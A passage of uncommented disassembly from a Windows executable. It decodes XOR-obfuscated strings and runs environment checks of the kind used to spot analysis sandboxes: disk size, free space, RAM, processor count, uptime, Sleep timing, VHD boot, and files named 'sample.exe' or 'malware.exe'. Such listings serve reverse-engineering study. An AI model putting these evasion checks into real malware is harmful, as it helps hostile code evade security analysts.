mov qword [rbp + 0x1220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1230], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1238], rax
movabs rax, 0x521f281a93cd3b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
vmovdqu ymm0, ymmword [rbp + 0x820]
vpxor ymm1, ymm0, ymmword [rbp + 0x1220]
vmovdqa ymmword [rbp + 0x820], ymm1
vmovdqa xmm0, xmmword [rbp + 0x840]
vxorps xmm0, xmm0, xmmword [rbp + 0x1240]
vmovdqa xmmword [rbp + 0x840], xmm0
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x820]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140032a5c
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140032c3a
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xce0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
lea rax, [rbp + 0xce8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7405c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140032c3a
mov rax, qword [rbp + 0xce8]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x3c
jg 0x140032c3a
movabs rax, 0x4e870b8ec10e5111
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x44ca841e7b15881c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1060], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1068], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x1c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0x1c0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140032b51
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x80]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032bc6
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x90], r12
mov edx, 0xf
mov qword [rbp + 0x98], rdx
mov byte [rbp + 0x80], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140032be0
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140032c1a
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032c15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
inc r14d
mov dword [rbp + 8], r14d
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1af0]
call fcn.14006fca0
lea rdx, [rbp + 0x1af0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
dec eax
cmp eax, 0x103
ja 0x140032d92
lea rdi, [rbp + 0x1af0]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x17e0]
call fcn.14006fca0
cmp byte [rbp + 0x1af0], 0
je 0x140032d92
nop word [rax + rax]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9d, r13d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, r13
mov rcx, rax
call fcn.140046080
mov rsi, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r13d
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x140032d5f
mov r9, rdi
lea r8, str._ssample.exe
mov edx, 0x104
lea rcx, [rbp + 0x17e0]
call fcn.140005fe0
lea rcx, [rbp + 0x17e0]
call fcn.14003cf90
test eax, eax
jne 0x140032edc
mov r9, rdi
lea r8, str._smalware.exe
mov edx, 0x104
lea rcx, [rbp + 0x17e0]
call fcn.140005fe0
lea rcx, [rbp + 0x17e0]
call fcn.14003cf90
test eax, eax
jne 0x140032edc
mov rcx, rsi
call fcn.140045d00
mov rax, r13
nop word [rax + rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x140032d70
inc rdi
add rdi, rax
cmp byte [rdi], 0
jne 0x140032ca0
movabs rsi, 0x27f454ebb7672375
xor r9d, r9d
lea r8, [rbp + 0xcf0]
xor edx, edx
lea rcx, [0x1400832e0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1400330a4
mov rax, qword [rbp + 0xcf0]
and rax, 0xffffffffc0000000
movabs rcx, 0xf00000000
cmp rax, rcx
ja 0x1400330a4
movabs rax, 0x4e870b8ec10e5111
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x44ca841e7b27881c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1120], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1128], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x1120]
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], r12
lea rax, [rbp + 0x1e0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140032e60
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033030
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x1a0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x1b0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x1b0], r12
mov edx, 0xf
mov qword [rbp + 0x1b8], rdx
mov byte [rbp + 0x1a0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003304a
movabs rax, 0x49ab3a84da0a4c16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x44ca841e08708007
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rsi, 0x27f454ebb7672375
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1070], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1078], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x1070]
movdqa xmmword [rbp + 0x1d0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rax, [rbp + 0x1d0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140032f66
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x40]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032fc9
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x50]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x50], r12
mov edx, 0xf
mov qword [rbp + 0x58], rdx
mov byte [rbp + 0x40], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140032fdd
lea r8, [rbp + 0x40]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140033014
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003300f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
inc r14d
mov dword [rbp + 8], r14d
jmp 0x140032d92
lea r8, [rbp + 0x1a0]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140033084
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003307f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], 0
inc r14d
mov dword [rbp + 8], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1c2
ja 0x14003323c
movabs rax, 0x46840b9bd2024f06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x44ca847a1e7d8e12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1110], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1118], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x1110]
movdqa xmmword [rbp + 0x1f0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
lea rax, [rbp + 0x1f0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140033153
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xc0]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400331c8
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0xd0], r12
mov edx, 0xf
mov qword [rbp + 0xd8], rdx
mov byte [rbp + 0xc0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x1400331e2
lea r8, [rbp + 0xc0]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14003321c
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033217
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
inc r14d
mov dword [rbp + 8], r14d
mov rax, qword gs:[0x60]
cmp dword [rax + 0xb8], 2
jae 0x1400333ba
movabs rax, 0x27812488e8024d1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1100], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1108], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0x200], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
lea rax, [rbp + 0x200]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1400332d1
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x160]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033346
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x160]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x170], r12
mov edx, 0xf
mov qword [rbp + 0x178], rdx
mov byte [rbp + 0x160], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140033360
lea r8, [rbp + 0x160]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14003339a
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033395
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], 0
inc r14d
mov dword [rbp + 8], r14d
lea rcx, [rbp + 0xd40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movabs rbx, 0xe0ee54dcd1454548
movabs rdi, 0xa83bf489d89ac547
cmp dword [rbp + 0xd60], 2
jae 0x1400335a9
movabs rax, 0x78812488e8024d1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0x21bef76728618821
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0xa83bf4e6bef48c2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1410], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1418], rax
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x1400]
vmovdqa ymmword [rbp + 0x480], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], r12
lea rax, [rbp + 0x480]
mov r8, r13
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400334c0
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x140]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033535
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x150]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x150], r12
mov edx, 0xf
mov qword [rbp + 0x158], rdx
mov byte [rbp + 0x140], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003354f
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140033589
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033584
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
inc r14d
mov dword [rbp + 8], r14d
mov dword [rbp + 0xd00], 0x40
lea rcx, [rbp + 0xd00]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0xd08]
and rax, 0xfffffffffffffc00
cmp rax, 0x40000000
jae 0x14003378d
movabs rax, 0x469c20b4c4144619
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0x26addb7b157ab208
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x13e0]
vmovdqa ymmword [rbp + 0x520], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], r12
lea rax, [rbp + 0x520]
mov r8, r13
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x1400336a4
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x120]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033719
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x130], r12
mov edx, 0xf
mov qword [rbp + 0x138], rdx
mov byte [rbp + 0x120], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140033733
lea r8, [rbp + 0x120]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14003376d
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033768
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
inc r14d
mov dword [rbp + 8], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0xafe74
jae 0x140033909
movabs rax, 0x27f43186de135300
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10c8], rax
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0x210], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x210]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140033820
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x100]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033895
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x110], r12
mov edx, 0xf
mov qword [rbp + 0x118], rdx
mov byte [rbp + 0x100], 0
add qword [rbp + 0xca0], 0x20
jmp 0x1400338af
lea r8, [rbp + 0x100]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x1400338e9
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400338e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
inc r14d
mov dword [rbp + 8], r14d
mov dword [rbp + 0xcb4], r12d
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsNativeVhdBoot
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140033a7b
lea rcx, [rbp + 0xcb4]
call rax
test eax, eax
je 0x140033a7b
cmp dword [rbp + 0xcb4], 0
je 0x140033a7b
movabs rax, 0x42823d9fd629503c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x44beeb7139718530
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10b8], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x220], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r12
lea rax, [rbp + 0x220]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400339e0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x250]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140033a54
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x250]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x260]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140033a68
lea r8, [rbp + 0x250]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
nop
lea rcx, [rbp + 0x250]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003e0d0
movabs rbx, 0x409126b4cf084103
test eax, eax
je 0x140033b2a
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x44ca842f02708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1170], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1178], rax
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x1170]
movdqa xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xb20]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xb20]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003e640
test eax, eax
je 0x140033bcf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x44ca842c02708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10a8], rax
movdqa xmm0, xmmword [rbp + 0x370]
xorps xmm0, xmmword [rbp + 0x10a0]
movdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0xb00]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xb00]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003e990
test eax, eax
je 0x140033c74
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x44ca842d02708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x11a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11a8], rax
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x11a0]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0xae0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xae0]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
call fcn.14003ec80
test eax, eax
je 0x140033d19
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0x44ca842a02708639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1090], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1098], rax
movdqa xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x1090]
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x940]
call fcn.1400122c0
nop
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0x940]
call fcn.140008650
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x9739752c022211cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0x6c73a52933709323
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rdi, 0x9fe8db3b6211e071
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0x62fe0bd98bb1694f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x5249284693993b23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0x310e9e2f8c71dc4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x174f8b649097be5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rcx, 0xe5806ff9128ebeaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1500], rax
movabs rax, 0x6c36a57b33319374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1508], rax
movabs rax, 0x9fb8db786250e02d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1510], rax
movabs rax, 0x62ad0b9d8bed6906
mov qword [rbp], rax
mov rax, qword [rbp]
